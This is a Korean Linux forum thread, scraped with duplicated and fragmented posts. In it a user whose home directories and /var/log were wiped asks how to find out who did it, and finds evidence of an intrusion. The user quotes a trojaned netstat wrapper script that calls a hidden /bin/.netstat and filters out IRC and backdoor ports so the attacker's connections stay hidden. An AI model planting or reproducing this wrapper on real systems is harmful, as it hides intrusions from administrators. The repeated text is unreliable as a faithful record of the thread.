root밑의 home이 다 지워졌습니다. /var/log/도 깨끗이 지워서 흔적이 없네요..
혹시 누가 지웠는지 어떻게 알 수 있죠?
home을 지웠다는건.. root 계정으로 지워야만 가능하닌까.. room로 로그인해서 .bash_history를 봤는데.. 좀 더 자세히 누가 지웠느지 알고 싶습니다.
님 홈에 있는 파일이 지워졌다면 님이 잘못해서 rm -rf ~/*같은 명령친거 일 겁니다.
즐린
쉘 스크립트에 원인이 있지 않을까요? 만드신 스크립트를 꼼꼼히 살펴보세요.
#!/bin/sh # netstatX By: syg /bin/.netstat $1 $2 $3 $4 $5 $6 $7 $8 $9 > ~/.net cat ~/.net|egrep -v "1837|15926|1831|3127|6667|18|7000|6666|6668" > ~/.net2 mv ~/.net2 ~/.net >> /dev/null 2>&1 cat ~/.net
허참.. 어이가 없네요.. 이상하게 netstat를 해도.. 결과가 이상해서 확인해 보니.. netstat가 home 폴더가 지워지기 바로 전 아니면 후네요.. 이미 들어왔으면 또 들어올수 있다는 얘긴데.. 어떻게 조치를 해야 할지.. 난감하군요..
누가 지웠는지도 알고 싶네요..
혹시 누가 지웠는지 어떻게 알 수 있죠?
home을 지웠다는건..
root 계정으로 지워야만 가능하닌까..
room로 로그인해서 .bash_history를 봤는데..
좀 더 자세히 누가 지웠느지 알고 싶습니다.
님 홈에 있는 파일이 지워졌다면님이 잘못해서 rm -rf ~/*같은
님 홈에 있는 파일이 지워졌다면
님이 잘못해서 rm -rf ~/*같은 명령친거 일 겁니다.
즐린
쉘 스크립트에 원인이 있지 않을까요?만드신 스크립트를 꼼꼼히 살펴보세
쉘 스크립트에 원인이 있지 않을까요?
만드신 스크립트를 꼼꼼히 살펴보세요.
해킹이 거의 확실한거 같네요..
#!/bin/sh
# netstatX By: syg
/bin/.netstat $1 $2 $3 $4 $5 $6 $7 $8 $9 > ~/.net
cat ~/.net|egrep -v "1837|15926|1831|3127|6667|18|7000|6666|6668" > ~/.net2
mv ~/.net2 ~/.net >> /dev/null 2>&1
cat ~/.net
허참..
어이가 없네요..
이상하게 netstat를 해도..
결과가 이상해서 확인해 보니..
netstat가 home 폴더가 지워지기 바로 전 아니면 후네요..
이미 들어왔으면 또 들어올수 있다는 얘긴데..
어떻게 조치를 해야 할지.. 난감하군요..